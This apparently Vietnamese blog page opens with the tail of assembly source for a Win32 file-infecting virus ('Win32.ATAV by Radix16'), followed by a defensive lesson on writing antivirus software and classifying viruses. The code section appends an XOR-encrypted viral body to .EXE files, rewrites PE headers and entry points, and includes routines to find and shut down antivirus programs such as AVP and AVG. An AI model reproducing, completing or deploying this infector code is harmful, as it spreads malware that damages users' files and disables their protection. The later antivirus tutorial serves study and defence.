mov ecx,28h
mul ecx
add esi,78h
add esi,ebx
add esi,eax

or dword ptr ds:[esi+24h],0A0000020h

mov eax,[esi+10h]
mov [oldsize+ebp],eax
add dword ptr [esi+8h],VirusSize

mov eax,[esi+8h]
pop ebx
mov ecx,ebx
div ecx
mov ecx,ebx
sub ecx,edx
mov [esi+10h],ecx
mov eax,[esi+8h]
add eax,[esi+10h]
mov [esi+10h],eax
mov [ebp+offset newsize], eax

mov eax,[esi+0ch]
add eax,[esi+8h]
sub eax,VirusSize
mov [newip+ebp],eax

mov eax,[ebp+offset oldsize]
mov ebx,[ebp+offset newsize]
sub ebx,eax
mov [ebp+offset incsize], ebx

mov eax,[esi+14h]
add eax,[ebp+offset newsize]
mov [ebp+offset newfilesize], eax

mov eax, [esi+14h]
add eax,[esi+8h]
sub eax,VirusSize
add eax,[ebp+offset mapaddress]

call Write_File

mov esi,[ebp+offset PEheader]
mov eax,[newip+ebp]
mov [esi+28h],eax
mov eax, [ebp+offset incsize]
add [esi+50h], eax

UnMapw:
push dword ptr [ebp+offset mapaddress]
mov eax, [ddUnmapViewOfFile+ebp]
Call eax

Exit_Map:
push dword ptr [ebp+offset maphandle]
mov eax,[ddCloseHandle+ebp]
call eax

push dword ptr [ebp+offset filehandle]
mov eax, [ddCloseHandle+ebp]
call eax
Jmp Complete?
infection_error:
stc
jmp Endus
Complete?:
cmp word ptr [ebp+offset infectionflag], 0FFh
je infection_error
clc

Endus:
popad
ret
Infect endp



SearchFilesN proc

ret
SearchFilesN endp

;Tìm kiếm file “nạn nhân”
SearchFiles proc
lea edi,[ebp + offset search]
mov eax,edi
push eax
lea eax,[ebp + offset _Exe]
push eax
call dword ptr[ebp+offset ddFindFirstFileA]
ret
SearchFiles endp

memory dd 0
maphandle dd 0
mapaddress dd 0

CMapFile proc
push 0
push dword ptr [ebp+offset memory] ;
push 0
push PAGE_READWRITE ;R/W
push 0
push dword ptr [ebp+offset filehandle] ;handle
mov eax,dword ptr [ddCreateFileMappingA+ebp]
call eax
mov [ebp+offset maphandle], eax
ret
CMapFile endp

MapView proc
push dword ptr [ebp+offset memory]
push 0
push 0
push FILE_MAP_ALL_ACCESS
push eax
mov eax,[ddMapViewOfFile+ebp]
call eax
ret
MapView endp

filehandle dd 0 ;rukojet souboru

OpenFile proc
push 0 ;Atribute
push 0
push 3 ;Có overwrite (xem lại mô tả hàm API CreateFileA)
push 0
push 1
push 80000000h or 40000000h ;read & write
push esi ;tên tệpmov eax, [ddCreateFileA+ebp] ;
Call eax ;gọi hàm APIret ;zpet
OpenFile endp ;v eax je rukojet souboru

;Kỹ thuậ­t Anti-AV. Tất cả trình bày trong Kỹ thuậ­t lậ­p trình VR thì phải. Đây là cách “giết người diệt khẩu” nếu có AV dám lảng vảngKick_AV proc
push eax
cdq
push edx
; call FindWindowA
xchg eax, ecx
jecxz quit

push edx
push edx
push 12h
push ecx
; call PostMessageA
quit:
ret

Kick_AV endp


Delete_AV proc



Delete_AV endp



Ok_Day_Month:

nop
imagebase dd 00400000h
swKernel32 = 'NREK'
Kernel32 dd 00000000h
importvirtual dd ?
importsize dd ?
entrypoint dd ?
f_RVA dd ?
Nindex dd 0
basef dd 0
Export dd 0
limit dd 0

AddFunc dd 0
AddName dd 0
AddOrd dd 0



newfilesize dd 0

infectionflag dw 0
gmhGetModuleHandleA db 'GetModuleHandleA',0
gmhsize = $-gmhGetModuleHandleA

API_NAMES:
swGetProcAddress db 'GetProcAddress',0
swExitProcess db 'ExitProcess',0
swGetVersion db 'GetVersion',0
swFindFirstFileA db 'FindFirstFileA',0
swFindNextFileA db 'FindNextFileA',0
swGetCurrentDirectory db 'GetCurrentDirectoryA',0
swSetCurrentDirectory db 'SetCurrentDirectoryA',0
swDeleteFile db 'DeleteFileA',0
swCreateFileMapping db 'CreateFileMappingA',0
swMapViewOfFile db 'MapViewOfFile',0
swUnmapViewOfFile db 'UnmapViewOfFile',0
swGetFileAttributes db 'GetFileAttributesA',0
swSetFileAttributes db 'SetFileAttributesA',0
swGetDriveType db 'GetDriveTypeA',0
swCreateFile db 'CreateFileA',0
swCloseHandle db 'CloseHandle',0
swGetFileTime db 'GetFileTime',0
swSetFileTime db 'SetFileTime',0
swSetFilePointer db 'SetFilePointer',0
swGetFileSize db 'GetFileSize',0
swSetEndOfFile db 'SetEndOfFile',0
swGetSystemTime db 'GetSystemTime',0
swGetModuleHandle db 'GetModuleHandleA',0
swWriteFile db 'WriteFile',0
db 0FAh

ddGetProcAddress dd 0
ddExitProcess dd 0
ddGetVersion dd 0
ddFindFirstFileA dd 0
ddFindNextFileA dd 0
ddGetCurrentDirectoryA dd 0
ddSetCurrentDirectoryA dd 0
ddDeleteFileA dd 0
ddCreateFileMappingA dd 0
ddMapViewOfFile dd 0
ddUnmapViewOfFile dd 0
ddGetFileAttributesA dd 0
ddSetFileAttributesA dd 0
ddGetDriveTypeA dd 0
ddCreateFileA dd 0
ddCloseHandle dd 0
ddGetFileTime dd 0
ddSetFileTime dd 0
ddSetFilePointer dd 0
ddGetFileSize dd 0
ddSetEndOfFile dd 0
ddGetSystemTime dd 0
ddGetModuleHandleA dd 0
ddWriteFile dd 0


max_path EQU 260

se_Kernel32 db 'KERNEL32.dll',0

Anti_AV:


_Grisoft db 'avg?????.dat',0
_AVP db 'AVP.CRC',0
_TBAW db 'anti-vir.dat',0
_MSAV db 'CHKLIST.MS',0


_Kaspersky_ db 'AVP Monitor',0
_Grisoft_ db 'AVG Control Center',0


_Exe db '*.EXE',0
infections dd 0


fnx dd 0



Crypt_End:

Mutate1:

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decr:
xor dword ptr [esi],0FFh
inc esi
loop decr
End_Mutate:
ret

Write_File proc
call Mutate1
mov edi, eax
lea esi,[Start+ebp]
mov ecx, VirusSize
rep movsb
call Mutate1
ret
Write_File endp


Virus_End:


SYSTEMTIME struct

wYear WORD ?
wMonth WORD ?
wDayOfWeek WORD ?
wDay WORD ?
wHour WORD ?
wMinute WORD ?
wSecond WORD ?
wMilliseconds WORD ?
ends

filetime STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS

win32_find_data STRUC
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP (?)
AlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
win32_find_data ENDS


search win32_find_data ?
SystemTime SYSTEMTIME <>

windir db 128h dup(0)
sysdir db 128h dup(0)
crtdir db 128h dup(0)

Virtual_End:


;thuật toán mã hóa sử­ dụng hơi ... ruồi quá nhưng cũng tiện để học cho newbieFirst_Gen:
pushad
call Next_Gen

Next_Gen:
pop ebp
sub ebp,offset Next_Gen

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decri:
xor dword ptr [esi],0FFh
inc esi
loop decri


push 0
push offset TextF
push offset TextF1
push 0
call MessageBoxA

popad
Jmp Start


TextF db 'Win32.ATAV by Radix16[MIONS]',0
TextF1 db 'First generation sample',0

End First_Gen
;The End
BÀI 5: TỰ VIẾT CHƯƠNG TRÌNH DIỆT VIRUS
Author: spinx
Tôn trọng mục đích của diễn đàn là "hướng thiện" tôi sẽ không đề cập đến nghệ thuật hắc ám nữa ở đây.

1. Để làm được một chương trình diệt VR chúng ta cần gì?
- Một ngôn ngữ lập trình: cái này không thể thiếu được rồi, bạn phải giỏi sử dụng một ngôn ngữ lập trình nào đó. Tuỳ theo sở thích, có thể là C, pascal, vb, ... Ngôn ngữ nào cũng có thể dùng để viết chương trình diệt được cả chỉ có điều chúng ta sẽ diệt cả VR for win nên tốt nhất chọn một ngôn ngữ for win có càng nhiều tính năng can thiệp cấp thấp một chút càng tốt như C, delphi hay vb cũng được
- Kiến thức assembler: tại sao lại phải học thứ khó nhá này vậy? Thứ nhất là vì rất nhiều VR được xây dựng trên ngôn ngữ này, thứ 2 là khi tung VR ra các VXer thường là không đưa source cho bạn coi. Nếu không đọc code của họ dưới dạng mã máy thì làm sao được
- Công cụ debug: sử dụng thành thạo công cụ và tích luỹ cho mình kinh nghiệm debug mã máy rất cần thiết trong quá trình đọc và giải mã VR
-

2. Phân loại virus
Thực ra VR bây giờ phát triển khá đa dạng nên cũng khó đặt ra một định nghĩa chung cho tất cả được. Căn cứ vào các đặc điểm như đối tượng lây nhiễm, cách thức lây nhiễm, kỹ thuật sử dụng và tác hại người ta có thể phân loại ra và định nghĩa ra một số VR chính. Tôi cũng mạn phép phân loại cho các bác thế này:

- Virus boot:
Là một đoạn code có khả năng lây nhiễm vào master boot hoặc boot sector ổ đĩa cứng/mềm. Thay thế đoạn code khởi động máy trên boot. Thường trú và tự sao chép sang boot ổ đĩa khác.
- Virus tệp khả thi:
Là đoạn code có khả năng tự sao chép bản thân nó vào các tệp khả thi của hệ điều hành. Tuỳ theo loại VR overwrite hay không overwrite mà tệp gốc sau lây nhiễm có thể chạy bình thường hoặc không chạy được nữa. Tệp khả thi ở đây là các tệp "chạy được" như .exe, .com trên dos, tệp PE, .dll... trên win, tệp elf trên unix... thậm chí cả các tệp kiểu như .msi
- Worm
Thường là các đoạn script viết cho các ứng dụng web hoặc email. Lây lan bằng cách tự sao chép hoặc dùng email của nạn nhân này email bản thân nó cho các nạn nhân khác. Vì là ở dạng script nên cũng có thể nằm attach trong các trang web.
- Trojan
Đây là một chương trình chạy ngầm ngoài mong muốn của nạn nhân, có thể đọc các thông tin trên máy nạn nhân gửi về ứng dụng chủ hoặc email nào đó. Lây nhiễm do nạn nhân trót chạy tệp chứa trojan (do ai đó gửi). Trojan có thể biến thể thành một số dạng script (program dropper) attach vào trang web để dễ lừa nạn nhân. Trojan cũng có thể thêm bào một số khả năng lấy pass, đọc phím, điều khiển máy tính nạn nhân từ xa, hoặc là một backdoor mở thông các rào cản bảo mật để hacker xâm nhập.
- Macro
Là một ứng dụng macro trên word, excel... có thể tự sao chép khi chạy.
-Các dạng đặc biệt khác
Chiếm số ít kiểu như các worm trên CSDL hay program droper...

Tính năng phá hoại của VR là không bắt buộc, tuy nhiên bản thân VR đã thực thi các thao tác không chính quy. Cho dù không phá hoại vẫn để lại các tác hại như làm chậm máy, làm nghẽn mạng, chiếm dung lượng đĩa... Bản thân VR có thể chọn cho mình một hoặc nhiều đối tượng lây nhiễm khác nhau. Chính vì thế một con VR có thể rơi vào một hay nhiều loại ở trên

3. Vài khái niệm cơ bản
- P-String:
Như ta đã biết, đa số virus đều thể hiện ở dạng đoạn mã nằm “tá túc” trong các chương trình, các tệp .html, .doc... hay trên boot sector/MBR tùy theo loại VR nằm trên máy tính của nạn nhân . Để phát hiện được VR, cách đơn giản nhất là lấy được một đoạn code đặc trưng trên VR, tìm và quét tất cả các tệp trên đĩa (MBR/boot sector) xem có tệp nào chứa đoạn mã này không để xác định xem những tệp nào đã bị nhiễm VR. Yêu cầu của đoạn code mẫu nàu là phải thật đặc trưng cho VR để tránh nhầm lẫn với một chương trình khác. Các đoạn code như vậy được gọi là P-String (pattern string)
- Kỹ thuật mã hóa:
Để nhằm gây khó khăn cho các AVers khi debug và lấy mẫu, các VR thường được mã hóa. Key để mã hóa có thể được lấy động theo thời gian lây nhiễm, kích thước tệp nhiễm... Chính vì vậy toàn bộ code chính của VR thường không duy nhất và đặc trưng được nữa. Tuy vây VR vẫn phải giữ nguyên đoạn code để có thể giải mã VR khi chạy. Các P-String có thể sử dụng các đoạn mã giải code này.
- Kỹ thuật đa hình:
Cố gắng bịt nốt điểm yếu cuối cùng trong kỹ thuật mã hóa, các VXers có thể sử dụng thêm kỹ thuật đa hình. Sử dụng một polymorphic engine, đây mà một hàm được viết nhằm biến đổi một đoạn mã gốc thành nhiều hình thức khác nhau. Các bạn có thể hiểu nôm na khi có một đoạn code, ta có thể đảo vị trí code, chèn thêm các junk code, sử dụng nhiều bộ lệnh cùng chức năng... kết quả tạo ra một tập hợp rất nhiều đoạn code làm cùng chức năng giống nhau nhưng viết khác hẳn nhau. Sử dụng một polymorphic engine như vậy, mỗi bản sao VR tuy có cùng tính năng nhưng code không giống nhau (đa hình). Đặc biệt đoạn code mã hóa VR thường sử dụng kỹ thuật đa hình gây khó khăn rất nhiều cho AVer khi lấy mẫu. Một polymorphic engine có thể tạo ra hàng nghìn đoạn mã khác nhau cho đoạn mã hóa.
- Kỹ thuật Anti-AV
VR có thể sử dụng các kỹ thuật cống debug, chống disassembler, anti-bait... để gây khó khăn khi chẩn đoán VR (xem thêm bài Kỹ thuật lập trình VR – spinx). AVer phải hết sức tỉnh táo khi debug


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive